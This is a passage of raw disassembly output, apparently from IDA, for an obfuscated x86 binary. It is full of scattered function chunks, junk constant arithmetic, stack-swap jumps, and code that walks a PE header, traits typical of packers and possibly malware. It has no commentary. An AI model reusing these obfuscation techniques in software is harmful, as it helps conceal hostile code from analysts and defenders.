		pop	ebp
		mov	eax, ds:dword_423B18
		or	eax, eax
		jnz	loc_42A0C0
		jmp	loc_42E502
sub_42EA6A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_42EA82:				; CODE XREF: sub_42BAE7-7F12j
					; sub_42D9E1:loc_4280F7j
		mov	edx, [ebp+8]
		or	[edx-8], eax
		jmp	loc_42DC03
; ---------------------------------------------------------------------------


loc_42EA8D:				; CODE XREF: _7hdaygc1:loc_424771j
					; sub_42F05E-3EEBj ...
		cmp	dword ptr [ebp-10h], 1
		call	sub_42C443


loc_42EA96:				; CODE XREF: _7hdaygc1:00426A82j
		jmp	loc_423A97
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42409E


loc_42EA9B:				; CODE XREF: sub_42409E+7409j
		push	offset loc_42C725
		jmp	loc_4297BF
; END OF FUNCTION CHUNK	FOR sub_42409E
; ---------------------------------------------------------------------------


loc_42EAA5:				; CODE XREF: _7hdaygc1:loc_4259FEj
		shr	esi, 0Ch
		rol	ecx, 1Bh
		jmp	loc_424077
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D30E


loc_42EAB0:				; CODE XREF: sub_42D30E-4F39j
		push	3755D502h
		pop	edi
		add	edi, 60D8B6D4h
		xor	edi, 0E21DAF53h
		add	eax, edi
		call	sub_42CB85
; END OF FUNCTION CHUNK	FOR sub_42D30E
; START	OF FUNCTION CHUNK FOR sub_424680


loc_42EAC9:				; CODE XREF: sub_424680:loc_42725Cj
		sbb	eax, 973378E9h
		xor	ebx, ecx
		jp	loc_426FA2
		jmp	loc_4244B0
; END OF FUNCTION CHUNK	FOR sub_424680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424B63


loc_42EADC:				; CODE XREF: sub_424B63:loc_42858Ej
		jz	loc_42C78F


loc_42EAE2:				; CODE XREF: sub_424B63+10j
					; _7hdaygc1:loc_426BA2j
		jnb	loc_426D39
		mov	eax, [ebp-4]
		call	sub_42D287
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jle	loc_42C78F
		jmp	loc_42469C
; END OF FUNCTION CHUNK	FOR sub_424B63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42EB02:				; CODE XREF: sub_425E64+5815j
		jnz	loc_42A54F
		jmp	loc_427290
; END OF FUNCTION CHUNK	FOR sub_425E64

; =============== S U B	R O U T	I N E =======================================



sub_42EB0D	proc near		; CODE XREF: sub_4253A0:loc_42721Dp
					; sub_4232DA+3FB1j

; FUNCTION CHUNK AT 00423D52 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00424440 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00426AD1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A963 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042BB76 SIZE 0000000D BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		jmp	loc_426AD1
sub_42EB0D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42EB24	proc near		; CODE XREF: sub_42C763+3j

; FUNCTION CHUNK AT 00423406 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423CED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426ACB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00428E71 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042B5BD SIZE 00000013 BYTES

		add	esp, 0FFFFFFE4h
		jmp	loc_423CED
sub_42EB24	endp


; =============== S U B	R O U T	I N E =======================================



sub_42EB2C	proc near		; DATA XREF: sub_423D07o

; FUNCTION CHUNK AT 0042A012 SIZE 00000005 BYTES

		js	sub_42C405
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_42A012
sub_42EB2C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42EB3E	proc near		; CODE XREF: _7hdaygc1:loc_424FDBp
					; _7hdaygc1:00426C97j
		xchg	edi, [esp+0]
		pop	edi
		push	ebp
		call	sub_428B02
sub_42EB3E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42EB48:				; CODE XREF: sub_42AA47+4A7Bj
		jmp	loc_424D04
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------


loc_42EB4D:				; CODE XREF: _7hdaygc1:0042E303j
		jmp	locret_42670B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42EB52:				; CODE XREF: sub_42E283-9ED6j
		jmp	loc_42A9B5
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
		mov	eax, ds:dword_423B1C
		call	sub_42B650
		mov	esp, ebp
		push	offset sub_428E4E
		jmp	loc_42DD22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6C3


loc_42EB6D:				; CODE XREF: sub_42A6C3+3BF5j
					; sub_42A6C3+3C06j
		or	eax, 0A1BE4A9Eh
		and	eax, 0DEE732C8h
		js	loc_4267CF
; END OF FUNCTION CHUNK	FOR sub_42A6C3
; START	OF FUNCTION CHUNK FOR sub_42C763


loc_42EB7F:				; CODE XREF: sub_42C763+17j
		jmp	loc_42C696
; END OF FUNCTION CHUNK	FOR sub_42C763
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425D65


loc_42EB84:				; CODE XREF: sub_425D65+10j
		jmp	loc_42D8BB
; END OF FUNCTION CHUNK	FOR sub_425D65
; ---------------------------------------------------------------------------
		add	edi, 0DB230958h
		jmp	loc_4267C9
; ---------------------------------------------------------------------------


loc_42EB94:				; DATA XREF: _7hdaygc1:loc_429D44o
		mov	dword ptr [ebp-30h], 3FFFh
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42EB9B:				; CODE XREF: sub_42AFFE:loc_42A043j
		jb	loc_42B597
		mov	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_429318

locret_42EBAD:				; CODE XREF: sub_4270E6-3888j
		retn
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42EBAE:				; CODE XREF: sub_42C443+1538j
		jmp	loc_427088
; END OF FUNCTION CHUNK	FOR sub_42C443

; =============== S U B	R O U T	I N E =======================================



sub_42EBB3	proc near		; CODE XREF: _7hdaygc1:0042403Ej
					; sub_427DDA+7960p
		xchg	esi, [esp+0]
		pop	esi
		push	eax
		push	ecx
		call	sub_426B62
sub_42EBB3	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_42EBBE:				; CODE XREF: sub_42DD73+1DAj
		jmp	loc_42AC22
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------


loc_42EBC3:				; CODE XREF: _7hdaygc1:0042DD0Fj
		mov	esi, 0DE42800Dh

; =============== S U B	R O U T	I N E =======================================



sub_42EBC8	proc near		; CODE XREF: sub_425BCD+5602p

; FUNCTION CHUNK AT 004245A6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004245BE SIZE 0000002A BYTES
; FUNCTION CHUNK AT 004252DD SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		call	sub_42DBEA
		jmp	loc_4245BE
sub_42EBC8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42EBD6	proc near		; CODE XREF: sub_424F62+122Fp
					; _7hdaygc1:0042E461j

; FUNCTION CHUNK AT 00423297 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00423464 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423CA6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424A52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004268AF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042847A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042869D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042875E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004288DD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00428B55 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042975A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042A394 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042A4BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BACF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042D292 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042E4E6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042E5D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E6F9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042F5B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042FBEC SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		cmp	ebx, esi
		pop	esi
		jz	loc_4288DD
		jmp	loc_42F5B6
sub_42EBD6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42EBE8:				; DATA XREF: sub_425A0D+3o
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	0DE3B6FD8h
		xchg	edx, [esp]
		mov	eax, edx
		jmp	loc_426809

; =============== S U B	R O U T	I N E =======================================



sub_42EBFB	proc near		; CODE XREF: _7hdaygc1:loc_4242A7p
					; _7hdaygc1:004264F4j
		xchg	ebx, [esp+0]
		pop	ebx
		xor	esi, 3AF6EA05h
		call	sub_42A693


loc_42EC0A:				; DATA XREF: _7hdaygc1:00423320o
		push	eax
		push	ebx
		push	2F6829B0h
		pop	ebx
		rol	ebx, 0Bh
		and	ebx, 0FBF1B20Fh
		rol	ebx, 17h
		jmp	loc_42C399
sub_42EBFB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	ecx, 82DDD548h
		jmp	sub_42A1B6
; ---------------------------------------------------------------------------


loc_42EC2E:				; CODE XREF: _7hdaygc1:0042D694j
		lea	eax, [edx+eax*4]
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		jmp	loc_4253CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD11


loc_42EC3C:				; CODE XREF: sub_42FD11:loc_426D9Dj
					; sub_42FD11-5EF2j
		lea	eax, sub_428F69
		mov	[ebp-4], eax
		push	4979A709h
		pop	eax
		or	eax, 34D86554h
		jmp	loc_4285E6
; END OF FUNCTION CHUNK	FOR sub_42FD11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42EC57:				; CODE XREF: sub_423648+9FF9j
		jmp	loc_4243DF
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------


loc_42EC5C:				; CODE XREF: _7hdaygc1:00426454j
		jmp	loc_42F591
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B20


loc_42EC61:				; CODE XREF: sub_423B20:loc_42CBD7j
		add	eax, 20D198EBh
		or	eax, 1332F7h
		add	eax, 2B0ECE10h
		xchg	eax, [esp+0]
		jmp	sub_42D757
; END OF FUNCTION CHUNK	FOR sub_423B20
; ---------------------------------------------------------------------------
		jle	loc_423EE0
		jmp	sub_42948A
; ---------------------------------------------------------------------------


loc_42EC86:				; DATA XREF: sub_42D503+1o
		push	8388E5BBh
		pop	ebx
		rol	ebx, 1Eh
		add	ebx, 1F600631h
		xchg	ebx, [esp]
		jmp	sub_423FA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E695


loc_42EC9D:				; CODE XREF: sub_42E695-8C63j
		pushf
		ror	eax, 1Eh


loc_42ECA1:				; CODE XREF: sub_42E695:loc_425A2Aj
		add	edi, 36241E04h
		xchg	edi, [esp+0]


loc_42ECAA:				; CODE XREF: _7hdaygc1:loc_42EF53j
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_42E695

; =============== S U B	R O U T	I N E =======================================



sub_42ECAF	proc near		; CODE XREF: sub_42B650-7110p
					; _7hdaygc1:0042950Cj
		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ebp-4], eax
		call	nullsub_3


loc_42ECBB:				; CODE XREF: sub_42CB85+6FDj
		mov	eax, [ebp-4]
		call	sub_4236EA
		jmp	loc_42C787
sub_42ECAF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42ECC8:				; CODE XREF: _7hdaygc1:00423913j
		push	edx
		mov	ecx, [esi]


loc_42ECCB:				; CODE XREF: _7hdaygc1:loc_423901j
		and	edi, 8ECD3856h
		xor	edi, 0C2B287F2h
		add	edi, 0BDC854F5h
		xchg	edi, [esp]
		jmp	loc_42C3DE
; ---------------------------------------------------------------------------
		push	offset loc_42C19F
		jmp	loc_42EEC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427EF6


loc_42ECEF:				; CODE XREF: sub_427EF6+DCj
		push	0E7EC1826h
		pop	esi
		rol	esi, 0Eh
		or	esi, 0C8D60538h
		xor	esi, 3987C02Fh
		jmp	loc_42DC1A
; END OF FUNCTION CHUNK	FOR sub_427EF6
; ---------------------------------------------------------------------------
		rol	ebx, 5
		jmp	sub_4242E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_42ED11:				; CODE XREF: sub_42AA9B-76F0j
		ja	loc_42C76F
		rol	ebp, 4


loc_42ED1A:				; CODE XREF: sub_42AA9B:loc_423304j
		mov	eax, 10h
		call	sub_42828C
		push	ebp
		jmp	loc_42CEE2
; END OF FUNCTION CHUNK	FOR sub_42AA9B

; =============== S U B	R O U T	I N E =======================================



sub_42ED2A	proc near		; CODE XREF: sub_42BFDF+3j

; FUNCTION CHUNK AT 004230A3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042583E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00425A1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004297C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A644 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042A65D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042A9DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EA13 SIZE 00000016 BYTES

		add	esp, 0FFFFFFF4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-8], 0
		jnz	loc_4230A3
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		jmp	loc_42A9DB
sub_42ED2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42ED48:				; CODE XREF: _7hdaygc1:0042DE1Fj
		add	edi, 2C5A358Ah

; =============== S U B	R O U T	I N E =======================================



sub_42ED4E	proc near		; CODE XREF: sub_42F8DB:loc_423A2Fp

; FUNCTION CHUNK AT 00426DE6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004284F3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004288D6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00429369 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B22F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E10F SIZE 00000013 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	ecx, ecx
		jmp	loc_426DE6
sub_42ED4E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42ED59:				; CODE XREF: _7hdaygc1:loc_42C943j
					; _7hdaygc1:0042EA0Ej
		push	0AE9C309Bh
		pop	eax
		add	eax, 5D4B7C3Ah
		and	eax, 58A36361h
		jmp	loc_423880

; =============== S U B	R O U T	I N E =======================================



sub_42ED70	proc near		; CODE XREF: _7hdaygc1:00426EAEj
					; sub_42D01B+80Dp

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_424D0A
sub_42ED70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	68BAF0FEh
		pop	edx
		and	edx, 0D059EC3Eh
		sub	edx, 8CC6AE0Eh
		jmp	loc_42AE6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A17C


loc_42ED93:				; CODE XREF: sub_42A17C:loc_42C33Fj
		jz	loc_42AF85
		jmp	loc_42DBD1
; END OF FUNCTION CHUNK	FOR sub_42A17C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A92E


loc_42ED9E:				; CODE XREF: sub_42A92E-3F03j
		jnz	loc_42C4B4


loc_42EDA4:				; CODE XREF: sub_42A92E:loc_4249FCj
		call	sub_42D757
		push	0AD15145Ah
		pop	edx
		and	edx, 0D6B90E4Ch
		add	edx, 3782170Dh
		call	sub_42C1AF
		push	eax
		jmp	loc_42322F
; END OF FUNCTION CHUNK	FOR sub_42A92E
; ---------------------------------------------------------------------------


loc_42EDC6:				; CODE XREF: _7hdaygc1:loc_42D699j
					; _7hdaygc1:0042D6A7j
		xor	ebx, 0DC8A3EE1h
		test	ebx, 100000h
		jmp	loc_42DBF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424CE0


loc_42EDD7:				; CODE XREF: _7hdaygc1:00424CF8j
					; sub_424CE0+617Dj
		sub	ecx, 2CED74F7h
		add	ecx, 1E0072h
		add	ecx, ebp
		add	ecx, 58C9722Bh
		mov	ecx, [ecx]
		jmp	loc_4246EF
; END OF FUNCTION CHUNK	FOR sub_424CE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_42EDF2:				; CODE XREF: sub_42D9E1-501Aj
		xor	esi, 0D67C7543h
		push	esi
		cmp	eax, ecx
		jmp	loc_4280D6
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; ---------------------------------------------------------------------------


loc_42EE00:				; CODE XREF: _7hdaygc1:00429935j
		jl	loc_42BFD0


loc_42EE06:				; CODE XREF: _7hdaygc1:loc_42B51Dj
		push	ebp
		jmp	loc_42DC5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42EE0C:				; CODE XREF: sub_423DFC:loc_42E605j
		call	sub_42E076


loc_42EE11:				; CODE XREF: sub_42DA74+7B9j
		jmp	sub_42B942
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------


loc_42EE16:				; CODE XREF: _7hdaygc1:0042A217j
		jz	loc_4247D9
		jmp	loc_4235EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E254


loc_42EE21:				; CODE XREF: sub_42E254:loc_42678Cj
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]


loc_42EE2C:				; CODE XREF: sub_428498:loc_42BD62j
		jmp	loc_42531C
; END OF FUNCTION CHUNK	FOR sub_42E254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C209


loc_42EE31:				; CODE XREF: sub_42C209+Bj
		jz	loc_428DC3
		jmp	loc_429244
; END OF FUNCTION CHUNK	FOR sub_42C209
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429FC3


loc_42EE3D:				; CODE XREF: sub_429FC3+Cj
		jmp	loc_426639
; END OF FUNCTION CHUNK	FOR sub_429FC3
; ---------------------------------------------------------------------------
		sub	ebx, 0C441D02Fh
		jmp	sub_429C1F
; ---------------------------------------------------------------------------
		mov	edx, 17B3C1CFh
		push	edi
		push	71DA91BEh
		pop	edi
		or	edi, 8391E2FCh
		xor	edi, 0BE0E8230h
		or	edi, 0DA290EBBh
		jmp	loc_42A7F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42EE70:				; CODE XREF: sub_423172:loc_4289A1j
		and	eax, 0F35DEE81h
		rol	eax, 14h
		xor	eax, 94F7095Dh
		and	eax, 0AC60F218h
		jmp	loc_42AAA7
; END OF FUNCTION CHUNK	FOR sub_423172

; =============== S U B	R O U T	I N E =======================================



sub_42EE8A	proc near		; CODE XREF: _7hdaygc1:00425941p
					; _7hdaygc1:0042BBC9j

; FUNCTION CHUNK AT 00424FA4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426AEC SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00426FCD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042711D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00428580 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00429374 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B162 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E538 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	8EC4EF48h
		pop	eax
		sub	eax, 3C39A30Ch
		add	eax, 0D70147F4h
		jmp	loc_42E538
sub_42EE8A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		not	edx
		jmp	sub_42E076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CDF7


loc_42EEAC:				; CODE XREF: sub_42CDF7:loc_424431j
		js	loc_42AD4C


loc_42EEB2:				; CODE XREF: _7hdaygc1:0042D309j
		jmp	loc_42BCB6
; END OF FUNCTION CHUNK	FOR sub_42CDF7
; ---------------------------------------------------------------------------
		not	ecx
		jmp	loc_42AD46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237DA


loc_42EEBE:				; CODE XREF: sub_4237DA:loc_428B50j
		call	sub_425E64


loc_42EEC3:				; CODE XREF: _7hdaygc1:0042ECEAj
		jmp	nullsub_103
; END OF FUNCTION CHUNK	FOR sub_4237DA
; ---------------------------------------------------------------------------


loc_42EEC8:				; CODE XREF: _7hdaygc1:0042C591j
		cmp	eax, ecx
		jmp	loc_42F318
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF3C


loc_42EED0:				; CODE XREF: sub_42EF3C+1C6j
		jmp	sub_42C26B
; END OF FUNCTION CHUNK	FOR sub_42EF3C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_42EED6:				; CODE XREF: sub_423DDB:loc_42AB27j
		mov	eax, [ebp-0Ch]
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-125h]
		mov	[ebp-20h], eax
		jmp	loc_42FC84
; END OF FUNCTION CHUNK	FOR sub_423DDB
; ---------------------------------------------------------------------------
		mov	edi, [eax]
		jmp	sub_428498
; ---------------------------------------------------------------------------


loc_42EEF1:				; CODE XREF: _7hdaygc1:0042AC8Fj
		sbb	ecx, edi
		jmp	loc_42FC1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_42EEF8:				; CODE XREF: sub_4288FE+6DA4j
		mov	eax, 87EFB934h
		sbb	ebx, ecx
		mov	edi, ebp
		xchg	ebp, esi
		mov	ebx, eax
		jmp	loc_426CA2
; END OF FUNCTION CHUNK	FOR sub_4288FE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_42EF0B:				; CODE XREF: sub_42D002+E8Ej
		jmp	loc_4283FF
; END OF FUNCTION CHUNK	FOR sub_42D002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42EF10:				; CODE XREF: sub_424AE1+498Bj
		jmp	loc_42B3CF
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42EF15:				; CODE XREF: sub_42C443-7563j
		jmp	loc_4239BA
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423FA0


loc_42EF1A:				; CODE XREF: sub_423FA0+Ej
		jmp	sub_4282A9
; END OF FUNCTION CHUNK	FOR sub_423FA0
; ---------------------------------------------------------------------------


loc_42EF1F:				; CODE XREF: _7hdaygc1:loc_42C016j
		mov	ds:dword_42BC5C, eax
		retn
; ---------------------------------------------------------------------------


loc_42EF26:				; CODE XREF: _7hdaygc1:loc_42CFF7j
		rol	eax, 18h
		push	eax
		call	sub_42B650
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42EF30	proc near		; CODE XREF: sub_425752+9p
					; sub_4270E6+Fp

; FUNCTION CHUNK AT 0042866D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042AFD2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042F482 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_42F482
sub_42EF30	endp

; ---------------------------------------------------------------------------


loc_42EF36:				; CODE XREF: _7hdaygc1:0042B52Aj
		jge	locret_42C169

; =============== S U B	R O U T	I N E =======================================



sub_42EF3C	proc near		; CODE XREF: sub_4232DA:loc_42DA8Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042527F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DE5C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042EED0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F0F8 SIZE 0000000F BYTES

		xchg	edx, [esp+0]


loc_42EF3F:				; CODE XREF: _7hdaygc1:004236C1j
		pop	edx
		lea	eax, [ebp-0Ch]
		call	sub_42F3C8
		xchg	esi, [esp+0]
		mov	ecx, esi
		pop	esi
		jmp	loc_42527F
sub_42EF3C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42EF53:				; CODE XREF: _7hdaygc1:00428F58j
		jno	loc_42ECAA
		shr	edx, 15h
		or	ebx, 62FC600Ch
		shr	edi, 19h
		jmp	loc_42A593
; ---------------------------------------------------------------------------
		not	ebx
		jmp	loc_42AD0B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424494


loc_42EF72:				; CODE XREF: sub_424494+11j
		jmp	loc_42433B
; END OF FUNCTION CHUNK	FOR sub_424494

; =============== S U B	R O U T	I N E =======================================



sub_42EF77	proc near		; DATA XREF: sub_42525E:loc_428B9Fo

; FUNCTION CHUNK AT 0042D0A2 SIZE 0000000E BYTES

		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		jmp	loc_42D0A2
sub_42EF77	endp

; ---------------------------------------------------------------------------


loc_42EF8B:				; CODE XREF: _7hdaygc1:0042C607j
		jp	loc_42AB47

; =============== S U B	R O U T	I N E =======================================



sub_42EF91	proc near		; CODE XREF: sub_423DDB:loc_424251p

var_18		= dword	ptr -18h

; FUNCTION CHUNK AT 004241A3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00424D71 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004251C9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00426F7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427E31 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042A140 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042B234 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C970 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042CD8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CE5A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D554 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042E057 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F9A5 SIZE 00000017 BYTES

		xchg	ecx, [esp+18h+var_18]
		pop	ecx
		mov	eax, [ebp-1Ch]


loc_42EF98:				; CODE XREF: _7hdaygc1:loc_42B085j
		mov	al, [eax]
		mov	edx, [ebp-20h]
		mov	[edx], al
		jmp	loc_427E31
sub_42EF91	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426606


loc_42EFA4:				; CODE XREF: sub_426606+1Aj
		mov	eax, [eax]
		push	eax
		call	sub_426CBB
		mov	eax, [ebp-4]
		mov	eax, [eax+3Ch]
		push	offset sub_426315
		jmp	nullsub_192
; END OF FUNCTION CHUNK	FOR sub_426606

; =============== S U B	R O U T	I N E =======================================



sub_42EFBC	proc near		; DATA XREF: _7hdaygc1:0042E366o

; FUNCTION CHUNK AT 0042350C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00423599 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042366D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042A32E SIZE 0000001A BYTES

		call	edx
		pop	ebp
		xor	eax, eax
		mov	[ebp-4], eax
		push	3517B892h
		pop	eax
		jmp	loc_423599
sub_42EFBC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


